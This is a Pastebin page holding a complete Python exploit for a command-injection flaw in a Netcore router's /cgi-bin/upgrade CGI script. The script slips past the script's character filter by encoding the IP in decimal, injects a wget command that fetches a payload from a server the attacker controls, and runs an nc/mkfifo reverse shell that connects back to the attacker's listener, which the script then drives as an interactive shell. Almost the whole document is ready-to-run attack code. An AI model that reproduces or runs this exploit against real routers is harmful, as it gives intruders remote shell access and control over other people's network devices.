Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- """
- Netcore Router Command Injection & Reverse Shell Exploit
- ========================================================
- Targets: /cgi-bin/upgrade CGI script eval injection vulnerability
- The upgrade CGI script parses query string parameters and executes:
- eval "${key}='${val}'"
- This allows arbitrary command execution via crafted parameter names.
- The urldecode function filters: " ' ` | \ < > @ ? * ~ ! ( ) ; , . $ ^
- But does NOT filter: / - space (and digits/letters)
- By using decimal IP encoding (e.g., 192.168.0.172 -> 3232235692),
- we bypass the '.' filter in URLs.
- Usage:
- python3 exploit.py <router_ip> <listener_ip:port>
- python3 exploit.py 192.168.0.1 192.168.0.172:12345
- Only depends on Python 3 standard library.
- """
- import sys
- import socket
- import struct
- import http.server
- import http.client
- import threading
- import time
- # ============================================================
- # Utility Functions
- # ============================================================
- def ip_to_decimal(ip):
- """Convert dotted-decimal IP to its 32-bit decimal representation.
- Example: 192.168.0.172 -> 3232235692
- This bypasses the urldecode '.' filter in the CGI script.
- """
- try:
- return str(struct.unpack("!I", socket.inet_aton(ip))[0])
- except (socket.error, struct.error) as e:
- print(f"[-] Invalid IP address: {ip} ({e})")
- sys.exit(1)
- def parse_args():
- """Parse and validate command-line arguments."""
- if len(sys.argv) != 3:
- print(f"Usage: python3 {sys.argv[0]} <router_ip> <listener_ip:port>")
- print(f"Example: python3 {sys.argv[0]} 192.168.0.1 192.168.0.172:12345")
- sys.exit(1)
- router_ip = sys.argv[1]
- try:
- parts = sys.argv[2].split(":")
- if len(parts) != 2:
- raise ValueError
- listener_ip = parts[0]
- listener_port = int(parts[1])
- if not (1 <= listener_port <= 65535):
- raise ValueError
- except (ValueError, IndexError):
- print("[-] Invalid listener format. Expected IP:PORT (e.g., 192.168.0.172:12345)")
- sys.exit(1)
- return router_ip, listener_ip, listener_port
- # ============================================================
- # Payload Generation
- # ============================================================
- def generate_payload(listener_ip, listener_port):
- """Generate reverse shell payload using nc + mkfifo (busybox compatible).
- This is the classic approach that works without nc -e flag,
- which is unavailable in most busybox implementations.
- """
- payload = (
- "#!/bin/sh\n"
- "rm -f /tmp/f\n"
- "mkfifo /tmp/f\n"
- f"/bin/sh -i</tmp/f 2>&1|nc {listener_ip} {listener_port} >/tmp/f\n"
- )
- return payload.encode()
- # ============================================================
- # HTTP Server (serves the exploit payload)
- # ============================================================
- class PayloadHTTPHandler(http.server.BaseHTTPRequestHandler):
- """HTTP request handler that serves the reverse shell payload."""
- payload = b""
- def do_GET(self):
- self.send_response(200)
- self.send_header("Content-Type", "application/octet-stream")
- self.send_header("Content-Length", str(len(self.payload)))
- self.end_headers()
- self.wfile.write(self.payload)
- def log_message(self, fmt, *args):
- print(f" [HTTP] {fmt % args}")
- # ============================================================
- # Command Injection via HTTP POST
- # ============================================================
- def send_injection(router_ip, url_path):
- """Send a POST request with command injection payload to the router.
- The injected command is embedded in the query string parameter name.
- The CGI script's eval() will execute it.
- Returns:
- (status_code, response_body) tuple
- """
- try:
- conn = http.client.HTTPConnection(router_ip, 80, timeout=15)
- conn.request("POST", url_path, body="")
- resp = conn.getresponse()
- status = resp.status
- data = resp.read()
- conn.close()
- return status, data
- except (ConnectionResetError, ConnectionAbortedError, http.client.RemoteDisconnected):
- # Expected: router may reset connection after executing injected command
- return -1, b"Connection reset (command may have executed)"
- except socket.timeout:
- return -2, b"Connection timed out"
- except OSError as e:
- return -3, str(e).encode()
- # ============================================================
- # Interactive Reverse Shell
- # ============================================================
- def interactive_shell(sock):
- """Provide an interactive shell session over the socket connection.
- Uses msvcrt for non-blocking keyboard input on Windows:
- - msvcrt.kbhit() checks if a key was pressed (non-blocking)
- - msvcrt.getch() reads a single keypress
- - sock.settimeout() makes recv() non-blocking for polling
- Single-threaded polling loop, no stdin threading issues.
- """
- import msvcrt
- # Low-latency TCP options
- sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
- sock.settimeout(0.05) # 50ms recv timeout for responsive polling
- print()
- print("=" * 60)
- print(" REVERSE SHELL CONNECTED!")
- print(" Type commands. Press Ctrl+C to exit.")
- print("=" * 60)
- print()
- # Send initial newline to trigger shell prompt
- try:
- sock.sendall(b"\n")
- except OSError:
- pass
- try:
- while True:
- # --- Read remote output ---
- try:
- data = sock.recv(4096)
- if not data:
- print("\n[-] Connection closed by remote host.")
- break
- sys.stdout.buffer.write(data)
- sys.stdout.buffer.flush()
- except socket.timeout:
- pass # No data yet, continue to check keyboard
- except (ConnectionResetError, BrokenPipeError, OSError):
- print("\n[-] Connection lost.")
- break
- # --- Read keyboard input (non-blocking) ---
- while msvcrt.kbhit():
- ch = msvcrt.getch()
- if ch == b'\x03': # Ctrl+C
- raise KeyboardInterrupt
- # Convert Windows \r (Enter) to Unix \n
- if ch == b'\r':
- ch = b'\n'
- # Local echo: sh -i reads from pipe, no terminal echo
- sys.stdout.buffer.write(ch)
- sys.stdout.buffer.flush()
- try:
- sock.sendall(ch)
- except (ConnectionResetError, BrokenPipeError, OSError):
- print("\n[-] Connection lost while sending.")
- return
- except KeyboardInterrupt:
- print("\n\n[*] Exiting shell...")
- finally:
- sock.close()
- # ============================================================
- # Main Exploit Flow
- # ============================================================
- def main():
- router_ip, listener_ip, listener_port = parse_args()
- http_port = 8000
- decimal_ip = ip_to_decimal(listener_ip)
- # Banner
- print()
- print("=" * 60)
- print(" Netcore Router Command Injection & Reverse Shell")
- print("=" * 60)
- print(f" Target Router : {router_ip}")
- print(f" Listener : {listener_ip}:{listener_port}")
- print(f" Decimal IP : {decimal_ip}")
- print(f" HTTP Server Port : {http_port}")
- print("=" * 60)
- print()
- # Generate payload
- payload = generate_payload(listener_ip, listener_port)
- PayloadHTTPHandler.payload = payload
- print(f"[+] Payload generated ({len(payload)} bytes):")
- for line in payload.decode().strip().split("\n"):
- print(f" {line}")
- print()
- # ------------------------------------------
- # Start HTTP server to serve the payload
- # ------------------------------------------
- try:
- httpd = http.server.HTTPServer(("0.0.0.0", http_port), PayloadHTTPHandler)
- except OSError as e:
- print(f"[-] Failed to start HTTP server on port {http_port}: {e}")
- sys.exit(1)
- http_thread = threading.Thread(target=httpd.serve_forever, daemon=True)
- http_thread.start()
- print(f"[+] HTTP server listening on 0.0.0.0:{http_port}")
- # ------------------------------------------
- # Prepare TCP listener socket for reverse shell
- # ------------------------------------------
- shell_listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- shell_listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- try:
- shell_listener.bind(("0.0.0.0", listener_port))
- except OSError as e:
- print(f"[-] Failed to bind shell listener on port {listener_port}: {e}")
- httpd.shutdown()
- sys.exit(1)
- shell_listener.listen(5)
- print(f"[+] Shell listener prepared on 0.0.0.0:{listener_port}")
- print()
- # ==========================================
- # STEP 1: Inject wget to download payload
- # ==========================================
- print("-" * 60)
- print("[*] STEP 1: Injecting wget command to download payload")
- print("-" * 60)
- # Build the injection URL
- # After urldecode: sid=00000000000000000000000000000000&wget -O /tmp/exp http://DECIMAL_IP:8000/exp=
- # The eval("${key}='${val}'") will execute: wget -O /tmp/exp http://DECIMAL_IP:8000/exp=''
- # Using decimal IP bypasses the '.' filter in urldecode
- step1_path = (
- f"/cgi-bin/upgrade"
- f"?sid=00000000000000000000000000000000"
- f"&wget+-O+/tmp/exp+http://{decimal_ip}:{http_port}/exp="
- )
- print(f"[*] Request: POST http://{router_ip}{step1_path}")
- print(f"[*] Decoded injection: wget -O /tmp/exp http://{decimal_ip}:{http_port}/exp=")
- status, data = send_injection(router_ip, step1_path)
- if status > 0:
- print(f"[+] HTTP Response: {status}")
- body_text = data.decode("utf-8", errors="replace")[:300]
- if body_text.strip():
- print(f"[+] Response body: {body_text}")
- else:
- print(f"[!] {data.decode('utf-8', errors='replace')}")
- print("[*] Waiting for router to download payload via wget...")
- time.sleep(5)
- # ------------------------------------------
- # Start reverse shell listener thread (before Step 2)
- # ------------------------------------------
- shell_conn_holder = {"conn": None, "addr": None, "error": None}
- shell_ready = threading.Event()
- def shell_accept_thread():
- """Thread: wait for reverse shell connection."""
- shell_listener.settimeout(120)
- try:
- conn, addr = shell_listener.accept()
- shell_conn_holder["conn"] = conn
- shell_conn_holder["addr"] = addr
- print(f"\n[+] Reverse shell received from {addr[0]}:{addr[1]}")
- except socket.timeout:
- shell_conn_holder["error"] = "timeout"
- print("\n[-] Timeout: No reverse shell connection after 120 seconds.")
- except Exception as e:
- shell_conn_holder["error"] = str(e)
- print(f"\n[-] Listener error: {e}")
- finally:
- shell_ready.set()
- shell_thread = threading.Thread(target=shell_accept_thread, daemon=True)
- shell_thread.start()
- print(f"[+] Shell listener thread started, waiting on 0.0.0.0:{listener_port}")
- # ==========================================
- # STEP 2: Inject command to execute payload
- # ==========================================
- print()
- print("-" * 60)
- print("[*] STEP 2: Injecting command to execute /tmp/exp")
- print("-" * 60)
- # Build the injection URL
- # After urldecode: sid=00000000000000000000000000000000&/bin/sh /tmp/exp =
- # The eval("${key}='${val}'") will execute: /bin/sh /tmp/exp =''
- step2_path = (
- "/cgi-bin/upgrade"
- "?sid=00000000000000000000000000000000"
- "&/bin/sh+/tmp/exp%20="
- )
- print(f"[*] Request: POST http://{router_ip}{step2_path}")
- print(f"[*] Decoded injection: /bin/sh /tmp/exp")
- # Fire-and-forget in background thread: keep HTTP connection alive
- # If we close the socket too fast, the router's web server detects the
- # disconnect and kills the CGI process before nc can connect back.
- # By keeping the connection alive in a daemon thread, the CGI stays running.
- def async_inject():
- try:
- conn = http.client.HTTPConnection(router_ip, 80, timeout=30)
- conn.request("POST", step2_path, body="")
- conn.getresponse() # Blocks until nc exits — that's fine
- except Exception:
- pass # Expected: timeout / reset when shell session ends
- inject_thread = threading.Thread(target=async_inject, daemon=True)
- inject_thread.start()
- print("[+] Injection sent (connection kept alive in background)")
- # ==========================================
- # STEP 3: Wait for reverse shell connection
- # ==========================================
- print()
- print("-" * 60)
- print("[*] STEP 3: Waiting for reverse shell connection...")
- print("-" * 60)
- try:
- shell_ready.wait() # Block until listener thread signals
- if shell_conn_holder["conn"] is not None:
- interactive_shell(shell_conn_holder["conn"])
- elif shell_conn_holder["error"] == "timeout":
- print("[-] Possible reasons:")
- print(" 1. Router does not have 'nc' (netcat) installed")
- print(" 2. Router cannot reach the listener address")
- print(" 3. Command injection was blocked or failed")
- print(" 4. Payload download from HTTP server failed")
- else:
- print(f"[-] Listener error: {shell_conn_holder['error']}")
- except KeyboardInterrupt:
- print("\n[-] Interrupted by user.")
- finally:
- shell_listener.close()
- httpd.shutdown()
- print("\n[*] Cleaned up. Goodbye.")
- if __name__ == "__main__":
- main()
Add Comment
Please, Sign In to add comment